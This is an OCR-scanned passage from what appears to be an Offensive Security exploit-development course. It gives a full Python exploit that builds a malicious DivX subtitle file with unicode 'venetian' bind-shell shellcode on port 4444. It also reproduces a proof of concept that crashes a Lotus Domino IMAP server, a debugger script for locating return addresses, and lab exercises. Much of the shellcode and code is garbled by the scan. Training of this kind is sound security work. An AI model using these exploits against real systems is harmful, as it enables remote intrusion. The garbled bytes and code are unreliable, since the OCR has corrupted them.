How can we change the 0x0D byte inside our shellcode? The easiest option we have is to break the ADD

instruction in two instructions like the following:

it

] |
"\xBO\x0D\x6D" ~>"[\xSO\xOC\xED}xSB\xBl\xED"

which will result

80
00
80
40
00
a0
00

80 75z
6D 00:
g0 Was

add byte
add byte
add byte

sinceax

6D 00:

add byte

:inceax

6D 00:

Avoiding 0x0d bad character in shellcode

add bvte

in
ptr
ptr
ptr
ptr

ptr

[eax], Och
[ebpl,ch
[eax],0ilh
[ebpl,ch

[ebpl,ch
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The only part we've changed in POCO5 is the one containing the fix for the bad character:

# [*] Unicode Venetian Blinds Shellcode Writer 1100 bytes

# 0x0d badchar replaced

venetian writer = (
"\xB0\x6a\x6D\xd0\x6D\x40\x6D\x80\x4d\x6D\ x40\ 26D\ x40\ x6D\ xBO\EI"
"\zZ6DARA0\X6D\ x40 \x6D\2B0NKEE\R 6D\ A0\ 6D\ x40 \x6D\XBO\X60 N x6D 240"
"\x6D\x40\xED\xB0\x6c\26D\240\x6D\x40\26D\xB0\ 224 \x6D\ x40\ 26D \x40"
"\x6DA\xB0\x45\x6D\R40\x6D\ x40\ 26D\ xB0\xBb \x6D\ 240\ x6D\ 240\ 26D\ %B0"
"\205\26D\x40\x6D\x40\x6D\x80\x01\x6D\r40\x6D\x40\x6D\x80\xBb\x6D"
"\:240\226D\x40\x6D\xB0\=1BA\x6D\x40\x6D\ x40\ 26D\ 280\ x5 F\x6D\ 240 \x6D"
"\x40\x6D\xB0\x01 \x6D\x40\x6D\x40\x6D\x80\x4S\ 26D\ %40\ x6D\x40\x6D"
"\x80\x34\x6D\x40\x6D\x40\x6D\xBO\%01 \x6D\x40\x6D\ x40\ x6D\xB0\x31"
"\x6DAx40\x6D\x40\%6D\xB0\x99\ 26D\ 24 0\x6D\ x40\ 26D\ %80\ =B84\ 26D\ 40"
"\x6D\x40\xﬁD\x80\x?4\xﬁD\xiB\xﬁD\xﬂO\x6D\x80\xél\xSD\xéO\xGD\x&O“
"\x6D\x80\x0C\x6D\x80\x01\x6D\x40\x6D\x40\x6D" # OxOC + Ox01 = OxOD badchar
"\xB0\xc2\x6D\x40\x6D\x40\x6D\x80" T e s e

POCO5 changes to avoid 0x0D bad character

It's now time to do some math! We need to fix the EAX register to point to the first NULL byte of our
“half” bind shell. Running the new POC, after the “XCHG EAX, ECX” instruction, EAX points to
Ox0653EEDD while the first NULL byte we need to replace is at Ox065406EF address.

ERX -> (Ox0653EEDD
SHELLCODE -> 0Ox065406EF (OOEB ADD BL,CH)
0x065406EF — Ox0653EEDD = 6162 Bytes

# we can add/sub only 256 multiples e.—-—-
>>>6162/256.0

24.0703125 ->approximated to 25

>>>hex (OXFF-25)
"Oxeb"
>>>0x3CO00FFR0-0x3CO0EGDND

6400

our ERX fixing d i y
ADD EAX,| 0x3CO0FFC0
SUB EAX,| Dx3COOE6DO

e

which means we will have 238 Bytes of overhead to fill with nops eguivalent instructions that
will bridge us to shellcocde:

>>> 6400-6162
238 Bytes to fill

Calculations to align EAX register to the first NULL bytes of the “half” bind shell

Bd  Chers x O N\
x0> /7
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For the nop equivalent instructions we are going to use a JO opcode}*\xm\xoo” (Jump if Overflow); we
don’t care if the Overflow Flag is set to 1 or 0, in any of the two cases the result will be go to the next
instruction, which is exactly what we want.

Here is our working exploit:

#!/usr/bin/python

# DivXPOCU6.py

# BWE - Offensive Security

# DivX 6.6 SEH SRT Overflow - Unicode Shellecode Creation

# file = name of avi wvideo file
file = "infidel.srt"

# Unicode friendly POP POP RET somewhere in DivX 6.6

# Note: \x94 bites back - dealt with by xchg'ing again and doing a dance to
# shellcode Gods

ret = "A\x04\x48"
7309

# Payload building blocks

buffer = "\xd1" * 1032 # offset to SEH

¥chg esp = "\x94\med" # Swap back 7 ESP for stack save,nop

xchg_ecx = "\x91\x6d" # Swap - ¥ for venetian writer,nop

align buffer = "\x05\xFF\x3C\xz6D\x2D\xE6Y=3C\x6D" # ECX ADJUST

crawl = "\x70" * 119 # Crawl with remaining strength on bleeding
# knees to shellcode

rest = Mighin %ODOPGD # Buffer and shellcode canvas

# [*] Half Shellcode to be filled by the Venetian Writer 159 bytes
# bind shell on port 4444

half bind = {
"\xfc\xeb\xeB\RLFAREL\xBD\x24 \xBb\x3c\KTCARTB \xe A\ x4 F\x8bA\x20 \ xeb"
"\xBb\x8b\xee\xcO\xac\xc0\x07 \xca\x01 \xeb\x3b\ 224\ 275\ x8b\ %24\ xeb"
"\xzBbA\x4bAxS FAx01\x03\xBb\x6c\2lc\xeI\xdb\x8b\x30\ 240\ xBb\x1c\x8b"
"\x0B\x68\xde\xec\xEE\x66\x66 \x33\ 268 \x T3\ x5 \xFF\x68 \nad\x3b\xff"
"\x5f4xe8\x81\R0B\x55\x02\xd0\xdI\xE5\x57\xd6 \x53\x53\x43\x43\xE£"
"AxBBA\1I\RE6\XBONXI5 \xad \xT0\ 25T \xdB6\x10\x55\xd0\xad \x2e\x57 \xd6"
"\x55\xd0\xe5\x86\x57\xd6\x54 \x55\xd0\26B\xT9\xT O\ R FE\ K55 \xd0\x6a"
"\x66\x63\xB9\x6a\x59\xoc\xeT\xd4 \xe2\xc0\xaa\x4 2 \xfe\x2c\xBd\x38"
"\xab\x68\xfe\xl6\275\xEF\x5b\x52 \x51\x6a\x51\x55\xfF\x68\xdS\xce"
Nxffixea\nfE\xff\x8b\xfo\xod \xff\x52 \xd0\xef\xe0\x53\xdE\ x40 )

# [*] Unicode Venetian Blinds Shellcode Writer 11086 bytes

¥ 0x0d badchar replaced

venetian writer = |
"\xBO\x6a\x6D\x40\x6D\x40\ 26D\ 280 \x4d\ 26D\ x40 \X6D\ x40\ x6D\ xRONLEO"
"\x6D\x40\26D\x40\ROD\RBO\REE\x 6D\ x40\ 26D\ x40\ X 6D\ XBO\ K60\ 26D\ 40"
"Axb6DAR40\x6D\xBON X6 \XED R4 0\ 6D \ 40 \xADAXB0\R2 4\ x6D \ =40 \ 6D \x40"
"\x6D\xBO\x45\x6D\RA0\x6D\ x40\ x6D\xB0\28b\ 26D\ x40\ 26D\ x40\ x6D\xB0"
"\205\x6D x40\ 26D\ x40\ 6D\ B0\ =01\ 26D\ x4 0\x 6D\ x40\ x6D\ 2 B0\ xBb\x6D"
"\xd0\x6D\x40\ 26D \xB0 =18 \x6D\ x40\ 26D\ x40 \x6D\ 280 \x5F \ 26D\ xd 0\ x6D"
"\x40\x6DABO\X0DI \x6D\R40\x6D\ x40 \26D\ %8B0\ x40\ x6D\ x40\ x6D\ x40\ 6D"
"\xB0\x34\x6D\ x40\ x6D\=40\x6D\xB0 \X01\x6D\ x40 \=6D\ x40\ 26D\ xB0N\ 231"
"\xED\x4D\x6D\x40\x6D\x80\X99\x6D\x40\XGD\XQG\X6D\X80\384\X6D\X4D"
"\x6D\x40\x6D\xB0\xT4\x6D\x40\ 26D\ x40\ 26D\ =B0 N2l \x6D\ 240 \x6D\ 240"
"\x6D\x2BO\x0C\x6D\xB0\x01\x6D\x40\x6D\x40\x6D" # Ox0C + 0Ox01 = 0x0D badchar
"\x2B0\xc2\x6D\x40\x6D\ 240\ 26D\ 2B0"

"\2Ed\x6D\x40\x 6D\ x40 \x6D\ B0\ 254 \ 26D\ x40 \x6D\ x40\ x6D\ 280\ =28\ 260"
"\x40\x6D\x40\x6D\xB0\xe5\x6D\x40\x6D\ x40\ X 6D \xB 0\ K5 E\K6D\ x40\ x6D"
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wwuw.offe ll

"\x40\26D\XBONROL\xED\ x40\ k6D \ x40\ x6D\XBO\X6 6\ 6D\ %2 D\ 26D \KA0\K6D"
"\xBO0\Nx0c\x6D\x40\x6D\240\x6D\2B0\xB8b\x6D\ x40\ 26D\ x40\ x6D\ 280 \x1lc"
"\x6D\x40\x6D\x40\x6D\x80\xeb\x6D\ 240\ X 6D\ K40\ X 6D \%B0\ =2\ k6D \ k40"
"\x6D\x40\x6D\xB0\xBO\x6D\x40\x6D\ x40 \x6D\x80 \x24 \ 26D\ x40\ 26D\ 240"
"\xbDA\xBON61\x6D\x40\ 26D\ x40\ 26D\ kB0 31\ 6D\ x40\ x6D\ 240\ 26D\ B0
"\264\K6DA\X40\RED\R40\Z6D\KB0\ %43\ 26D\ x40\ 6D\ x40\ x6D\KB0\XBb\RED"
"\x40\x6D\x40\x6D\x80\x0c\x6D\x40\x6D\ 240\ x6D\xB0\xT0\RED\ x40\ x6D"
"A\xd0\=6D\xB0\xad \x6D\x4 0 \x6D\ x40\ x6D\xB0\ x40\ 26D\ 24 0\=26D \ %40 \=x6D"
"\xB0\x5e\xz6D\x40\x6D\240\x6D\xB0\x8e\x6D\x40\ 26D\ x40\ x6D\x80 \x0e"
"\x6DA\x40\x6D\xA0\x6D\xB0\x50\x6D\ x40 \x6D\ x40\ 26D\ %8B0\ 26\ 26D\ 240"
"\x6D\x40\x6D\xB0\ %53 \x6D\ 40\ 26D\ 240\ 26D\ xB0\R6B \ 6D\ x40\ k6D \ 240"
"AXEDAxBONR32\x6D\x40\x6D\ x40\ x6D\2B0\x77\x6D\x40\x 6D\ x40\ x6D\x80"
"A\x32\x6DA\x4 0 \x6D\ x40\ =6D\xB0\ 54 \ 26D\ x40\ 26D \x40\ 6D\ B0\ xd0\x6D"
"\x40\x6D\x40\x6D\xB0\xcb\26D\x40\x6D\x40\x6D\xB0\x Ec\x6D\x40\x6D"
"\%40\x6D\xB0\x50\x6D\x40\x6D\x40\x6D\xB0 \xd6\x6D\x40\x6D\240\x6D"
"\xBO\x89\x6D\xd0\x6D\x40\x6D\xB0\266\x6D\x40\x6D\ x40\ x6D\xBO\ xad"
"AxEDA=40\x6D\x40\x6D\x80\z02\x6D\x40\x6D\x40\x6D\ 280\ x6a\x6D\x40"
"\xbDAx40\xB6D\xBO0\REE \ 6D\ x40 \x6D\ x40 \x6D\xB80\ %68\ 26D\ x40\ 26D\ x40"
"\x6D\xBO\x09\x6D\x40\xGD\x40\x6D\x80\xad\xﬁD\x40\x6D\x4U\x6D\x80"
"\xff\xGD\xéO\x6D\x40\xGD\xBG\x53\xSD\x40\x6D\x40\xﬁD\xBO\x53\x6D"
"\x40\x6D\x40\x6D\XBONX5E3\x6D\x40\x6D\R40\ 26D\ xB0\x53\ 26D\ x40\ 26D"
N4 0Nx6D\EB0 K53 \x6D\ x40\ x6D\ x4 0\26D\ 280\ xd0\x 6D\ x40\ 26D\ x40\ x26D"
"\xBO\x6B\x6D\x40\x6D\x40\x6D\xB0\x5c\x6D\ x40 \x6D\R40\XED\ B0\ 253"
"\26D\x40\x6D\x40\26D\ 280 \xel \x6D\x40\ 26D \ 240 \x6D\xB0O\ %68\ 26D\ 240"
"Ax6D\x40\x6D\RBONXIa\x6D\x40\x6D\ 240 \x6D\ B0\ 2T \x6D\ 240\ 26D\ 240"
"AXEDAXBONREE\X 6D\ X400\ 6D\ x40\ x6D\XBO\X6a\x 6D\ x40\ x6D\ x40\ 26D \xB0"
"\x51\x6D\x40\z6D\x40\x6D\x80\ x££\ 26D\ %40\ 26D\ x40\ 26D\ %80\ x68\x6D"
"\x40\x6D\=40\x6D\xB0\xad\x6D\x40\x6D\x40\xED\xBO\xe9\x6D\ x40\ x6D"
"ARA0\=ED\xBO\REL\RED \ 4 0\x6D \ x40\ 6D\ 2B0\ %53\ 26D\ x40\ =60\ 240\ x6D"
"\XBOAREE\x6D\x40\x6D\ x40 \x6D\xBO\X68\X6D\ A0\ 6D\X4A0\KED\XB0O\ %497
"\x6D\x40\x6D\x40\x6D\Z80\ x4 9\ x6D\ 24 O\ x 6D A4 0 \X6D \ B0\ E £\ 26D\ 240"
"\x6D\x40\x6D\xB0\x50 \x6D\x40\x6D\ 240 \x6D\®B0\x54 \x6D\ x40\ 26D\ 240"
"\2ED\=BONXEL\2ED\x40\x6D\ x40\ 26D\ X80 %03\ 26D\ x40\ x6D\ x40\ 26D\ 280"
"\xeT\x6D\x40\x6D\x40\x6D\x80\xc6\x6D\ x40\ 26D\ x40\ 26D\ B0\ 257\ x6D"
"\z40\x6D\x40\z6D\xB0\xd6\x6D\x40\x6D\ x40\ 26D\ XBO\ XL £\ x6D\ 240\ x6D"
"Axd0\xEDAXBO\R66\ 26D\ x40 \x6D\ x40\ 26D \xB0\x64 \ 6D\ x40\ 26D\ x40\ x6D"
"\xBOAXEB\XED\Z40\K6D\ x40\ 26D \XBO\X6AN\R6D\ x40\ 26D\ x40\ K60\ %80 \xa5"
"\x6D\x40\x6D\240\x6D\ %8B0\ x50 \x6D\x40\x6D\ x40\ x6D\ 280\ 229\ x6D\x40"
"\x6D\x40\x6D\xB0\xB9\x6D\ 240\ 26D\ x40\ 26D\ 280\ 262\ x6D\ x40\ x 6D\ 240"
"\x6DA\ZBO\XBO\xED\X40\x6D\x40 26D\ 2B0\ 231 \ 26D \240\ 26D\ 40\ 26D\ x80"
"\xf3\x6D\x40\x6D\240\x6D\x80 \xfe\x6D\x40\x6D\ x40\ 26D\ xB80\x2d\x6D"
"\xQO\X6D\X40\X6D\x80\x4Z\XGD\X40\X5D\X49\X6D\x80\X93\XGD\X4O\XGD"
"\x40\x6D\x80\xTa\=6D\ x40\ 26D\ x40\ x6D\xB0\xab\x 6D\ x40\ =60\ x40\ x6D"
"\xBO\xab\x6D\x40\x6D\x40\x6D\xB0\xT2\x6D\ x4 0\ x6D\ x40\ =z 6D\ x80\xb3"
"\x6DAx40\R6D \xd 0N 6DA\XBO\REL \ 6D\ x40\ 26D\ x40\ x6D\xB80\x44\ 26D\ x40"
"Nx6D\x40\x6D\xBONxdE\x6D\x40\x 6D\ x40 \x6D\RBO\RE T\ R 6D\ x40\ 6D\ 240"
"AxeD\xBONx51 \x6D\R40\x6D\R40\ 26D \xB0\x51 \x6D\ 24 0\ 26D\ x40\ x6D\xB0"
"\x01\x6D\x40\x6D\x40\x6D\x80 51 \x6D\x40\x6D\240\x6D\x80\x51 \26D"
A4 0\ED\X40\x6D\ B0 \dO\RED\ 240\ 26D\ 40 \X6D =80 \ xad\x6D\ x40\ x6D"
A4 0\XEDAXBOARO5 \2pD\ x40\ 26D\ x40 \x6D\xB0\X53\ 26D\ x40\ x 6D\ x40\ x6D"
"\xBO\xd6\x6D\x40\x6D\ x4 0\x6D\xB0\REF\x6D\x40\R6D\ x40\ 26D \xB0\x37"
"\x6D\x40\x6D\x40\x6D\2B0\xd0\ 26D\ 240\ 26D\ x40 \x26D\ %80\ 257\ 26D\ 40"
"\xB6D\x40\x6D\xB0\x83\x6D\x40\x6D\x40\x6D\xBO\x64 \x6D\ x40\ x6D\ 240"
"\x6D\xB0\xdE \x6D\x40\x6D %40\ x6D\xBONREE N 6D\ x40 \x6D\ x40\ 6D\ 280"
"\x6B\XED\R4A0\x6D\ x40 \x6D\XB0 \xce\x6D\R A0 \xE6D\ x40\ 26D\ xBC\ 260 \x6D"
"\240\x6D\x40\R6D\RBO\REE 26D \x40\x6D\ x40\ 26D\ B0\ EF\ 6D \ 240\ 260"
"\x40\x6D"}

#t PoC Venetian Bindshell on port 4444 - ph33r
shellcode = buffer + ret + xchg esp + xchg ecx + align buffer
shellcode += venetian writer + crawl + half bind + rest

f = open(file,'w")
E.write{"1 \n")
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f.write("00:00:01,001 --> 00:00:02,001\a")
f.write(shellcode}
f.close()

print "8RT has been created - ph33r \n";

Final Exploit source code

EAX now points to the first NULL byte and the venetian writer starts replacing all the zeroes with the
second half of our bind shell.
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Figure 48: EAX pointing to the first NULL byte of the buffer
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Figure 49: Venetian writer in action
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78 BA acS4B7v0ha
b g wrl Ba Be546702
£ 5487 -TH a8 BES48704
0704 7A BR aeS4a70e
*v?a 6 86540705
Be54B70E 70 BA T BES4B7DR
@B6e54670A ~78 88 Be54a70C
AeE4670C  FC
BeS4870D 6R EB |
PES4G7DF 4D DEC EEP
B65487ER  ES FOFFFFFF CALL 8654870E
BEC4B7EE &8 ' PUSHRD
i SREC24 24 MO EBP, DWORD FPTR S5:[{ESP+24)]
8845 3C__ MOV EAY,DWORD PTR 55:(EEF+3CT

Figure 50: Conditional jumps bridging to shellcode
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and Settingshadmin>netstat —an | find “4444"
8.9.8.0:4444 8.9.9.8:8 LISTENING

and Settings“admin>

r}} PTR DS:[ESI]
[ Bes4BEte
S

BEE4BEDY
DWORD PTR £S:
1T BES4ATFE
DWORD PTR 05: Kl

EBF
WRD PTR DS: (€ |
LDWORD PTR DS
EEP

JERR
1)

OMORD TR
:0 FPTR S5:

Figure 51: Getting our shell

1) Repeat the required steps in order to discover the bad character in memory

2) Obtain a shell by fully exploiting DivX Player

—_———

Ehy= Ol TSEETSD

S = Gy B
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Module 0x05 Function Pointer Overwrites
Lab Objectives

* Understanding and abusing Function Pointers
* Exploiting Lotus Domino IMAP Server

Overview

In computer programming, pointers are variables used to store the address of simple data types or class
objects. They can also be used to point to function addresses and, in this case, they are classified as
function pointers®. Dereferencing a function pointer has the effect of calling the function residing at the
address pointed by it.

Function pointers give both incredible flexibility, allowing the programmer to build useful “application
mechanisms” such as callbacks™ and a further approach to control execution flow by the attacker point
of view.

Function Pointer Overwrites

When a function is called, the address of the instruction immediately following the call instruction is
pushed onto the stack and then popped in to the EIP register when RETN instruction is performed. In
classic stack buffer overflows®, the attacker gains code execution by overflowing the stack and
overwriting a function return address. Nevertheless, there are other methods the attacker can use to
gain code execution. There are cases where a vulnerability allows the attacker to overwrite a function
pointer. Later on, when the fyc_tigwgd_‘ control is transferred to the overwritten address which
usually contains attacker's shellcode. Figure 52 and Figure 53 show respectively a hypothetic legitimate

function pointer call and a hijacked one.
-' e\ €

mhttp:ﬁen.wikipedia‘orgz’wiki;’Funct‘ron pointer

4lhttp:ﬁgethelp.devx.com/techtips}'cpp pro/10min/10min0300.asp

42http://en,wikipedEaAorgfwikiiBuffer overflow#tStack-based exploitation
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REG32

foobarFunc

Figure 52: Legitimate function pointer in memory

Execution Flow Hijacked

& - SHELLCODE

gl
A
REG32
0x00664433
\
foobarFunc

Figure 53: Abused function pointer in memory
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In the article, “Protecting against Pointer Subterfuge (Kinda!)"®, it details the concept behind function
pointer abuse and the protections implemented in Windows XP SP2 and Windows Server 2003 SP1

against such attacks. In the code below you can see a small chunk of code taken from [43], presenting a
typical function pointer overwrite situation:

voidfoobarFunc() {
// function code
}

typedef woid (*pfv ) (void);

intVulnerableFunc(char *szString) {
charvulnbuf[32];
strepy (vulnbuf  seString) ;
pivep = (pfyv) iafoobarPonc);: // Function pointer to foobarfuanc
// some code
(*£p) () ; // focbarFunc is called
return 0;

}

Function Pointer Overwrite Vulnerable Code

Because there is no check on the length of szString, the vulnbuf stack variable can be overflowed -
possibly leading to the overwrite of the function pointer fp. If fp can be overwritten by the attacker's

evil crafted pointer, oncefoobarFunc is called upon the dereference of “fp” pointer, code execution is
gained.

43http:ﬁblogs.msdn.comfmichael howard/archive/2006/01/30/520200.aspx
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In this module we will exploit a vulnerability that affected Lotus Domino IMAP service** in 2007. The

vulnerability allows remote attackers to execute arbitrary code on the imap server without the need of
authentication.

As explained in the advisory®, the flaw occurs during the Cram-MD5* authentication process because
no checks are preformed on the length of the supplied username prior to processing it through a custom
copy loop. The vulnerability is triggered when the username supplied by the user is longer than 256
bytes leading to a function pointer overwrite.

Let's examine the first POC published on milwOrm by Winny Thomas®’:

{ fusr/bin/python

i

i

#f Remote DOS exploit code for IBM Lotus Domino Server 6.5. Tested on windows

# 2000 server SP4. The code crashes the IMARP server. Since this is a simple DOS

# where 256+ (but no more than 270} bytes for the username crashes the service

# this is likely to work on other windows platform as well. Maybe someone can carry
# this further and come out

# with a code exec exploit.

#
i
#
i

Author shall bear no responsibility for any screw ups caused by using this code
Winny Thomas :-)

import svs
import md5
import struct
import base64
import socket

def ExploitlLotus{target):
sock = socket.socket (socket.AF INET, socket.SOCK STREAM)
sock.connect { (target, 143))
response = sock.recv(l1024)
print response

*“http://www.securityfocus.com/bid/23172/info

“http://www.securitvfccus,comfarchive/l/464057

46http:Hen.wikipedEa.orglwiki/CRAM—M D5

Mhttp:f/www.milerm‘comfexp!Dits]?:GDZ
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auth = 'al00l authenticate cram-md5\r\n'
sock.send(auth)

response = sock.recv(1024)

print response

# prepare digest of the response from server

m = md5.new()

m.update (response[2:0])

digest = m.digest()

paylocad = 'A' * 256

# the following DWORD is stored in ECX

# at the time of gverflow the following call is made

# calldwordptr [ecx]. However icouldnt find suitable conditions under
# which a stable pointer to our shellcode

# could be used. Actually i have not searched hard enough :-).

payload += struct.pack{’*<L', 0x58585858)

# Basetd encode the user info to the server
login = payload + ' ' + digest

login = basebd.encodestring{login} + '\r\n®

sock.send(login}
response = sock.reov(1024)
print response

if npame ==" main ™:
try:
target = sys.argvi[l]
except IndexError:
print 'Usage: %s <imap server>\n' % sys.argvi0]
sys.exit (-1}
Exploitlotus (target)

# milwOrm.com [2007-03-29]

POCO1 Source Code

Running the previous POC and attaching the nimap.exe process in Immunity Debugger gives the
expected result as shown below. You can see that the ECX register is under our control and that the EAX
register points to the end of our controlled buffer.
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< <

.py localhost

C:\Documents and Settings\Administrator\Desktop\POCS>POCHL.py localhost E
% OK Domino IMAP4 Server Release 6.5 ready Ued, 27 May 2889 69:15:38 -8768

+ PDAuNTKBRjYBLjg4MjU3NUMzLjAwMDAWQKZDL jAwMDAwMDA4QFRFU1QuQBINPg ==

Figure 54: EAX pointing to the end of the controlled buffer

The original POC states that the function pointer overwrite is triggered with a buffer size between 256
and 270 bytes, this means that if we can find a way to jump into our buffer by exploiting the EAX
register, we will have 14 bytes available to run our preliminary shellcode. This is more than enough to

—— e

jump back to the beginning of our buffer. Furthermore, because our intent is to get a remote shell, 256
bytes of shellcode are not enough! One possibility to get past this is to find a way to inject our payload

in memory and then try to reach it by using an egghunter; we will see how to do this later, we first need
to control execution.
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1) Repeat the require steps in order to crash the IMAP service. Verify your control of the ECX and EAX
registers. What kind of RET is required in order to gain code execution?
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no Case Study: from POC to exploit

Let's analyze the vulnerability trigger in order to make an attack hypothesis. We know that we have /

__cEntrcl over ECX and EAX and that the access violation happens while executing a)*CALL PTR DWORD
[Ecxﬂinstruction. If our intent is to jump at the end of the buffer using a JMP EAX instruction, we will

need to find a “pointer” somewhere in memory to its address. This happens as the CALL instruction will

dereference a pointer at the address contained in the ECX register and then execute code at the address

resulted by the dereferenced operation. Below you can find the attack schema that we are going to

follow. EA%  Pomts A Whve s Wit e G
OCx ;5 whn ¥

(=

5 s owd e ol EPX & Py s B

’—P NOPS + EGGHUNTER (256 Bytes)

Ay {, Tk Figure 55: Attack Hypothesis

B &y ,/o/r#? e

There's another problem we will face while following the above schema: a JMP EAX opcode will redirect
the execution flow at the same address that contains the RET itself, (EAX points to the address
containing the ECX value), which means that our pointer address will be executed as a sequence of

e e
opcodes. We will worry about this issue later on.

Let's try to replace the 0x58585858 value in original POC with a JMP EAX instruction address to better
understand the first problem explained above. The fastest way to search for a valuable RET, in this case,
is probably the Immunity Debugger PyCommand bar. Typing “/search JMP EAX” you will receive many
return addresses quickly.
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68398090 :

683A17FD N

&941CCC8 Found JHF
Found JHP

bBbG
6860

6830
68’9“DFD
68796RHEBD
Eﬁ“BCEFﬂ
;gamg G
683 .
b89ﬂ51cﬂ'
6@9AB131
62192F%0
6224FREF
82321735
823E8DB7
6238E219
623EBDB7

2” E218

“GRGQFEF
!searl:h JMP E
Search completed! ;

Figure 56: Searching for a suitable return address
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Once we have a JMP EAX address, we replace the RET in the original POC, reattach the debugger, set a
breakpoint on the CALL DWORD PTR DS:[ECX] instruction (we found it during last debugging session,
0x605BD7A8) and relaunch the attack:

—_—

Ea o

# payload += struct.pack({'<L', 0x58585858)
payload += struct.pack{'<L', 0x603R17FD) # JMP EAX nnotes.dll

[...]

Changing the return address

As expected and shown in Figure 57, the execution flow stops at the breakpoint set, and, in the
following CALL instruction, the address of our RET, 0x603A17FD, is going to be treated as a pointer. The

CALL in fact is going to try to execute code at OxO004EOFF which is the DWORD found at our RET
address.

Resuming execution, obviously, lead to an “uncontrollable crash”. Now the question is: “which is the
fastest way to search for a pointer to a JMP EAX instruction?”.

In the next paragraph we will introduce the Immunity Debugger API and we will see how to implement
our own PyCommand search tool that will help us in the task of searching valuable return addresses.
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% TE Mx bl b

snts and Settings\Administrator\Desktop\POCS\NEW>POCB2.py localhost
* OK Domino IMAP4 Server Release 6.5 ready Thu, 2B May 2889 15:2%9:34 -B768

+ PDAwNB14RUFBL jg4MjUINUMBL jAWMDAWG=zEDL jAuMDAWMDA4QFRFUL1 QuQBFNPg ==

Figure 57: Ret address is treated as a pointer
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Immunity Debugger's API* is written in pure Python and includes many useful utilities and functions.
Scripts using the API, can be integrated into the debugger and ran from the GUI interface, the command
bar or executed upon certain events when implemented as hooks. This feature, gives the researcher
incredible flexibility, having the possibility to extend the debugger's functionalities quickly without
having to compile sources, reload debugger's interface, etc.

Immunity Debugger's API is exactly what we need to speed up our pointers search. We've already seen
that the “Isearch” command can find return addresses. We need to improve the “/search” function to
help us find our required addresses.

There are three ways to script Immunity Debugger:
1. PyCommands
2. PyHooks
3. PyScripts

In this module we'll examine the first type. PyCommands are temporary scripts, which are accessible via
command box or GUI and are pretty easy to implement. Below, you can find a very simple and basic
PyCommand that prints a message in the Log window:

import immlib

def main{args):
imm=immlib.Debugger(}
imm. Log{"PyCommands are 133t :P")
return “w0O0t! "

HelloWorld PyCommand

You need to import the immlib* library and define a main subroutine, which will accept a list of
arguments. You then need to instance a Debugger object, which allows you to access its powerful
methods. The imm.log method is an easy way to output your results in the ID Log window.

48http:/,z'wwwjmmunityinc,co m/products-immdbg.shtmi

“nttp://debugger.immunityinc.com/update/Documentation/ref/
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In the Immunity Debugger Installation directory’ you can find a Pycommands subdirectory. Place your
own Pycommand there and you will be ready to call it from the ID command box as shown here:

Log data

Addrezs |[Mescage

!heilowmld

wO0H

Figure 58: HelloWorld PyCommand

Now that we know how to code a very basic PyCommand, we are ready to examine the API's functions

that will be useful for our pointers search task:

* imm.Search method, searches for assembled ASM instructions in all modules loaded in memory;

* imm.searchLong method, searches for a DWORD in all modules loaded in memory in little endian

format;

* imm.setStatusBar method, shows messages in 1D status bar.

As seen here you can find the searchptr.py PyCommand source:

*%In our case is C:\Program Files\Immunity Inc\Immunity Debugger\
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mwn
(;;munity Debugger Pointers to Opcode Search
ryujin@offensive-security.com
U{0ffensive-Security <http://www.cffensive-security.com>}
searchptr.py:
Simple script that lets vyou search for a sequence of opcodes in all

loaded modules and then tries to find pointers in memory to the each
ret found.

nun

__VERSION = '0.1'

import immlib, immutils, time
# TODO: -m <modname>, to search only in one module

DESC = "Search for given opcode and relative pointezrs”

def usage (imm):
wnngsage helph "
imm.Log (" ! searchptr<QPCODES SEPARATED BY WHITESPRCE>", focus=1l)

imm.Log ("For example: !searchptr FF EQ", focus=1)
return

def formatOpcodes{opcodes):
"""Format Opcodes for search""™
opcodes = " ".join(opcodes)
opcodes opcodes.replace (" ","\\x").decode('string escape')
opcodes = ("\\x" + opcodes).decode('string escape’}
return opcodes

def searchPointers{imm, rets):

mersearch for pointers®™"?

POINTERS = {}

maxrets = len(rets)

## Foreach return address try to find one or more pointers to it

for i in range (0, maxrets):
msg = "Found RET at Ox%08Bx (%d di %d %d%%) : searching for pointers to our RET..."
msg = msqg % (retsfil, i+l, maxrets, int(float{(i+l}/maxrets)*100.0))
imm.setStatusBar (msqg)
## Search for peinters using searchlLong BPI func
pointers = imm.searchlong(rets([i])
## If any pointer was found, store it in POINTERS dictionary
if pointers:

POINTERS[rets[i]] = pointers
return POINTERS

def printResults{imm, POINTERS):
"wHPrint results in Log window™""
for ret in POINTERS.keys{):
msg = "Enumarating pointers to RET Ox%08x" & ret
imm.Log{msg, address=ret, focus=1l)
for pointer in POINTERS[ret]:
imm.Log{"—-> Pointer to RET 0x%08x at 0x308x" % (ret, pointer},
address=pointer,
focus=1
)

def mainlargs):
""Umain subroutine™"™
imm = immlib.Debugger!()
if not args:
usage (imm)
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return "Usage: !searchptr <OPCODES SEPARATED EY WHITESPACE>"
opcodes = formatOpcodes(args)
start = time.time ()

i# Search for return addresses using Search API func
## use this ->»rets = [0x77A10020, 0x7789050C] for debug

rets = imm.Search {opcodes)

## Search for pointers to rets
POINTERS = searchPointers {imm, rets)

## Output results
printResults (imm, POINTERS)

end = time.time(}
return "Search completed in %d seconds!"™ % int{end-start}

searchptr.py source code

Let's analyze searchptr.py's functions to see how it works before testing it in Immunity Debugger. First,
the “main” subroutine accepts the args parameter as an input python list and returns the output of the
usage function if no argument was passed. ASM input must be passed as an assembled string, having
each byte separated by a whitespace. We prefer to pass assembled ASM code, because the ID
disassembly function is still buggy for complex opcodes. The formatOpcode function takes the list of
arguments and converts them in to an hex string in order to be able to pass it to the imm.Search method
that will return a list of return addresses found in all modules loaded in memory.

Nothing new till here, we have just replicated the Isearch functionalities. The searchPointers function is
the interesting one: it loops over the rets python list and, for each address, calls the imm.searchLong
function. The latter converts the address in little endian format and searches for it in memory. If one or
more addresses in memory are found to contain the ret address then they will be able to act as pointers
and they are added to the POINTERS python dictionary for later examination. The POINTERS structure is
then returned to the main and is passed to the printResults function which simply iterates over its keys
(return addresses) and prints results to the Log ID window.

Found RET at 0x7790fa7f (2448 di 5507 44%) - searching for pointers toour RET .

Figure 59: searchptr.py in action
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' Sééféﬁuf:ompléted in b seconds!

Figure 60: Return address search completed

Cise

1) Build a simple PyCommand which is able to search for a string in memory and name it
searchstr.py. Print the output of the search into the ID Log window.

2) Attach the IMAP process to the debugger, manually edit two adjacent DWORDs on theitgi:_l_(_
inserting an 8 bytes string and search for it using searchstr.py.

137 © All rights reserved to Offensive Security, 2009



y I

R
2\5§.§

s Fr il

So, it seems our tool is working! It found a lot of return addresses and pointers. Let's try to update our
POC by replacing the ret with one of the pointers found by the “Isearchptr”. We will also increase the

